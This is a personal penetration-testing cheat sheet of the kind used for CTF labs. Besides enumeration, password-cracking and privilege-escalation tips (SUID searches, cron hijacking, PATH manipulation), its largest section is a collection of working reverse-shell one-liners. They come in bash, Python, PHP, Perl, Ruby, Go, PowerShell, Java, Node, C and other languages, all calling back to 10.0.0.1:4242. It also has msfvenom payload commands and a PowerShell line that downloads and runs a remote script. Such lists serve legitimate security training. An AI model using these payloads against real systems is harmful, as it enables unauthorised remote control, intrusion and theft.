

(CyberJunkie-Notes)

GENERAL

Web Server Service

```
python3 -m http.server portnumber
```

```
python -m SimpleHTTPServer portnumber
```

Downloading a file

```
wget "url:port"
```

```
curl "url:port"
```

```
scp hostname@IP:
```

```
nc -l -p > receiver machine nc -w 3 < sender machine
```

Generate ssh keys

```
ssh-keygen
```

Finding Specific Strings in specified directory

```
grep -rnw / -e 'StringtoSearch' 2>/dev/null / is root directory.Can be any directory
```

Github

First clone a repository empty or committed

```
git clone "URL"
```

```
git add --all update everything to be added in repo
```

```
git commit -m"commit message" commit the update
```

```
git push push the commit to repo
```

NETWORKING

local network Info

ifconfig

ip a

All IP's in a subnet

arp-scan -l

Route (specifying gateways to IP's)

route displays routing table

ip route add via gateway is usually router address(NAT)

OpenVpn

openvpn for labs and ctfs :()

TOOLS

pspy (hidden cronjobs and services)

steghide (extract files from an image)

steghide extract -sf

stegcracker (cracking images passphrase when extracting data)

stegcracker

johntheripper (cracking passwords)

john --wordlists=wordlist

ssh2john (converting ssh keys into hash for cracking in john)

python3 ssh2john > john ---wordlist=wordlist

zip2john (cracking zip passwords)

```
zip2john > john --wordlist=wordlist
```

rar2john (cracking rar passwords)

```
rar2john > john --wordlist=wordlist
```

gpg2john and gpg (cracking pgp files passwords and accessing pgp files)

```
gpg2john key.asc > hash
```

```
john hash --wordlist=wordlist
```

```
gpg --import key.asc
```

```
gpg --decrypt file.pgp
```

Hydra (bruteforcing credentials from different services)

```
hydra -l -P service://IP -S portnumber
```

gobuster (Hidden directories and file on webserver)

```
gobuster dir -u -w (Directories)
```

```
gobuster vhost -u -w (subdomains/Dns)
```

binwalk (check hidden data in files)

```
binwalk
```

Strings (string representation of file hexdump)

```
Strings
```

SHELLS

TTY Stable shells

```
bash -i
```

```
/bin/bash -i
```

```
/usr/bin/script -qc /bin/bash 1&>/dev/null
```

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

```
python -c 'import pty;pty.spawn("/bin/bash")'
```

Bash

Bash TCP

```
bash -i >& /dev/tcp/10.0.0.1/4242 0>&1
```

```
0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196
```

Bash UDP

```
Victim: sh -i >& /dev/udp/10.0.0.1/4242 0>&1
```

```
Listener: nc -u -lvp 4242
```

Don't forget to check with others shell : sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, bash

Python

Linux only

IPv4

```
export RHOST="10.0.0.1";export RPORT=4242;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
```

IPv4

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")'
```

IPv6

```
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
```

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
```

Windows only

```
C:27.exe -c "(lambda y, g, contextlib: [((((((s.connect(('10.0.0.1', 4242)),
[[[(s2p_thread.start(), [(p2s_thread.start(), (lambda out: (lambda ctx: [ctx.enter_(),
ctx.exit(None, None, None), out0][2]))(contextlib.nested(type('except', (), {'enter_':
lambda self: None, 'exit': lambda self, exctype, value, traceback: exctype is not None and
(isinstance(exctype, KeyboardInterrupt) and [True for _out[0] in [(s.close(), lambda
after: after())[1])][0]))], type('try', (), {'enter': lambda self: None, 'exit': lambda self,
exctype, value, traceback: [False for _out[0] in [(p.wait(), (lambda after:
after()))[1])][0]))])), ([None])[1] for p2sthread.daemon in [(True))][0] for
__g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))][0][1] for
s2p_thread.daemon in [(True))][0] for __g['s2p_thread'] in
[(threading.Thread(target=s2p, args=[s, p]))][0] for __g['p'] in
[(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE,
stderr=subprocess.STDOUT, stdin=subprocess.PIPE))][0][1] for __g['s'] in
[(socket.socket(socket.AF_INET, socket.SOCK_STREAM))][0] for g['p2s'], p2s.name__
in [(lambda s, p: (lambda __l: [(lambda after: y(lambda this: lambda:
(l['s'].send(l['p'].stdout.read(1)), this))[1] if True else after())())(lambda: None) for
l['s'], __l['p'] in [(s, p)][0])({}), 'p2s')][0] for g['s2p'], s2p.name__ in [(lambda s, p:
(lambda __l: [(lambda after: y(lambda this: lambda: [(lambda after:
(l['p'].stdin.write(l['data']), after())[1] if (len(l['data']) > 0) else after())(lambda:
this()) for l['data'] in [(__l['s'].recv(1024))][0] if True else after())())(lambda: None)
for l['s'], l['p'] in [(s, p)][0])({}), 's2p')][0] for __g['os'] in [(import('os', g, g))][0] for
__g['socket'] in [(import('socket', g, g))][0] for __g['subprocess'] in
[(import('subprocess', g, g))][0] for __g['threading'] in [(import('threading', g,
g))][0])(lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y))))), globals(),
import_(['contextlib']))"
```

PHP

```
php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);/bin/sh -i <&3 >&3 2>&3;'
php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i",
array(0=>$sock, 1 =>$sock, 2=>$sock),pipes);'
```

Perl

```
perl -e 'use
Socket;$i="10.0.0.1";$p=4242;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(
connect(S,sockaddr_in(p,inet_aton(i)))){open(STDIN,">&S");open(STDOUT,">&S");open(S
TDERR,">&S");exec("/bin/sh -i");};'
```

```
perl -MIO -e 'p = fork; exit, if (p); $c=new
IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r); ->
fdopen(c,w);system$_ while<>;'
```

NOTE: Windows only perl -MIO -e '\$c=new
IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen(\$c,r); ->
fdopen(c,w);system\$_ while<>;'

Ruby

```
ruby -rsocket -e 'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i <&%d
>&%d 2>&%d",f,f,f)'
```

```
ruby -rsocket -e 'exit if
fork;c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print
io.read}end'
```

NOTE: Windows only ruby -rsocket -e
'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print
io.read}end'

Golang

```
echo 'package main;import"os/exec";import"net";func
main(){c,_:=net.Dial("tcp","10.0.0.1:4242");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;c
md.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
```

Netcat Traditional

```
nc -e /bin/sh 10.0.0.1 4242 nc -e /bin/bash 10.0.0.1 4242 nc -c bash 10.0.0.1 4242
```

Netcat OpenBsd os

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
```

OpenSSL

Attacker:

```
user@attack$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
user@attack$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
user@attack$ ncat --ssl -vv -l -p 4242
```

```
user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.0.0.1:4242 > /tmp/s; rm /tmp/s
```

TLS-PSK (does not rely on PKI or self-signed certificates)

generate 384-bit PSK

use the generated string as a value for the two PSK variables from below

```
openssl rand -hex 48 # server (attacker) export LHOST="*"; export LPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; openssl s_server -quiet -tls1_2 -cipher PSK-CHACHA20-POLY1305:PSK-AES256-GCM-SHA384:PSK-AES256-CBC-SHA384:PSK-AES128-GCM-SHA256:PSK-AES128-CBC-SHA256 -psk PSK -nocert -accept LHOST:$LPORT # client (victim) export RHOST="10.0.0.1"; export RPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; export PIPE="/tmp/"`openssl rand -hex 4`; mkfifo $PIPE; /bin/sh -i < $PIPE 2>&1 | openssl s_client -quiet -tls1_2 -psk $PSK -connect RHOST:RPORT > PIPE; rm PIPE
```

Powershell

```
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);stream =client.GetStream();[byte[]]bytes = 0..65535 |i = stream.Read(bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(bytes,0,i);sendback = (iexdata 2>&1 | Out-String );sendback2 =sendback + "PS " + (pwd).Path + ">";sendbyte = ([text.encoding]::ASCII).GetBytes(sendback2);stream.Write(sendbyte,0, sendbyte.Length);stream.Flush()};$client.Close()
```

```
powershell -nop -c "client = New - Object System.Net.Sockets.TCPClient('10.0.0.1', 4242);stream = client.GetStream(); [byte[]]bytes = 0..65535|%{0};while((i =stream.Read(bytes, 0,bytes.Length)) -ne 0){;data = (New - Object - TypeNameSystem.Text.ASCIIEncoding).GetString(bytes,0, i);sendback = (iex $data 2>&1 | Out-String );$sendback2 = sendback + 'PS' + (pwd).Path + ' > ';sendbyte =
```

```
[[text.encoding]::ASCII).GetBytes(sendback2);stream.Write(sendbyte, 0,sendbyte.Length);  
$stream.Flush();$client.Close()
```

```
powershell IEX (New-Object  
Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a  
6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9d4fe253ad4/mini-  
reverse.ps1')
```

Awk

```
awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |&  
getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit")  
close(s); } }' /dev/null
```

Java

```
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec  
5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String)  
p.waitFor()
```

Java Alternative 1

```
String host="127.0.0.1"; int port=4444; String cmd="cmd.exe"; Process p=new  
ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new  
Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),  
si=s.getInputStream();OutputStream  
po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>  
0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.  
write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch  
(Exception e){}};p.destroy();s.close();
```

Java Alternative 2

NOTE: This is more stealthy

```
Thread thread = new Thread(){ public void run(){ // Reverse shell here } } thread.start();
```

War

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f war > reverse.war  
strings reverse.war | grep jsp # in order to get the name of the file
```


Lua

Linux only

```
lua -e  
"require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4242');os.execute('/bin/  
sh -i <&3 >&3 2>&3');" 
```

Windows and Linux

```
lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local tcp =  
socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status,  
partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s)  
if status == "closed" then break end end tcp:close()'
```

NodeJS

```
(function(){ var net = require("net"), cp = require("child_process"), sh =  
cp.spawn("/bin/sh", ); var client = new net.Socket(); client.connect(4242, "10.0.0.1",  
function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return  
/a/; // Prevents the Node.js application from crashing })();
```

or

```
require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242')
```

or

```
-var x = global.process.mainModule.require -x('child_process').exec('nc 10.0.0.1 4242 -e  
/bin/bash')
```

or

<https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py>

Groovy

by frohoff NOTE: Java reverse shell also work for Groovy

```
String host="10.0.0.1"; int port=4242; String cmd="cmd.exe"; Process p=new  
ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new  
Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),  
si=s.getInputStream();OutputStream  
po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>  
0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.  
write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch  
(Exception e){}};p.destroy();s.close();
```

Groovy Alternative 1

NOTE: This is more stealthy

```
Thread.start { // Reverse shell here }
```

C

Compile with `gcc /tmp/shell.c --output csh && csh`

include

include

include

include

include

include

include

```
int main(void){ int port = 4242; struct sockaddr_in revsockaddr;
```

```
int sockt = socket(AF_INET, SOCK_STREAM, 0);
```

```
revsockaddr.sin_family = AF_INET;
```

```
revsockaddr.sin_port = htons(port);
```

```
revsockaddr.sin_addr.s_addr = inet_addr("10.0.0.1");
```

```
connect(sockt, (struct sockaddr *) &revsockaddr,  
sizeof(revsockaddr));
```

```
dup2(sockt, 0);
```

```
dup2(sockt, 1);
```

```
dup2(sockt, 2);
```

```
char * const argv[] = {"/bin/sh", NULL};
```

```
execve("/bin/sh", argv, NULL);  
  
return 0;  
  
}
```

Meterpreter Shell

Windows Staged reverse TCP

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe >  
reverse.exe
```

Windows Stageless reverse TCP

```
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe >  
reverse.exe
```

Linux Staged reverse TCP

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf  
>reverse.elf
```

Linux Stageless reverse TCP

```
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf
```

Other platforms

```
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f elf >  
shell.elf $ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242  
-f exe > shell.exe $ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242  
-f macho > shell.macho $ msfvenom -p windows/meterpreter/reverse_tcp  
LHOST="10.0.0.1" LPORT=4242 -f asp > shell.asp $ msfvenom -p java/jsp_shell_reverse_tcp  
LHOST="10.0.0.1" LPORT=4242 -f raw > shell.jsp $ msfvenom -p java/jsp_shell_reverse_tcp  
LHOST="10.0.0.1" LPORT=4242 -f war > shell.war $ msfvenom -p  
cmd/unix/reverse_python LHOST="10.0.0.1" LPORT=4242 -f raw > shell.py $ msfvenom -p  
cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242 -f raw > shell.sh $ msfvenom -p  
cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242 -f raw > shell.pl $ msfvenom -p  
php/meterpreter_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.php; cat  
shell.php
```

ENUMURATION

Rustscan

Rustscan to scan for open ports and then use nmap for heavy scanning

rustscan -a

Nmap

nmap -p -T4 -A

nmap -p -T4 -A --script vuln Detect vulnerabilities of discovered services

FTP

ftp

try anonymous:anonymous credentials for Null Sessions

dir command to list directories

get get a copy of file on local machine

put upload a file to ftp server

SMB

smbclient -L //IP/ displays shares on samba server

smbclient //IP/ access that share

smbget -T smb://IP/ get copy of that share on local machine

enum4linux -a detailed mapping of smb server :)

RDP

rdesktop -u -p connect to a remote windows machine

POST EXPLOITATION

KernelInfo

cat /etc/*release uname -a

Cronjobs

What to Look for: if cronjobs are being run by root or any other user then see if you can write to that file or not. If you cannot write to the file then try to duplicate the path of that file and make a copy of that file and its path to execute your shell.

```
cat /etc/crontab
```

```
cronjob -l
```

```
crontab -u -e
```

sudo

```
sudo -u#-1
```

File Permissions

```
Suid: find / -type f -perm 4000 2>/dev/null
```

```
Sgid: find / -type f -perm 2000 2>/dev/null
```

```
World readable: find / -type f -readable -user 2>/dev/null
```

```
World Writable: find / -type f -writable -user 2>/dev/null
```

Capabilities(Similar to Suid permissions)

```
getcap -r / 2>/dev/null
```

Path Manipulation

Suppose a binary `/bin/update` is not on secure path and can be vulnerable then we can make a custom binary and replace it with the existing binary. So whenever this binary is executed either by user command or by cronjob, our custom code gets executed.

We can also add any custom script or program in our secure path `export PATH=/:$PATH`

NFS(Network File System)

```
showmount -e
```

 Displays mount Path

```
mount -t nfs :/
```

 mount the file system on your local machine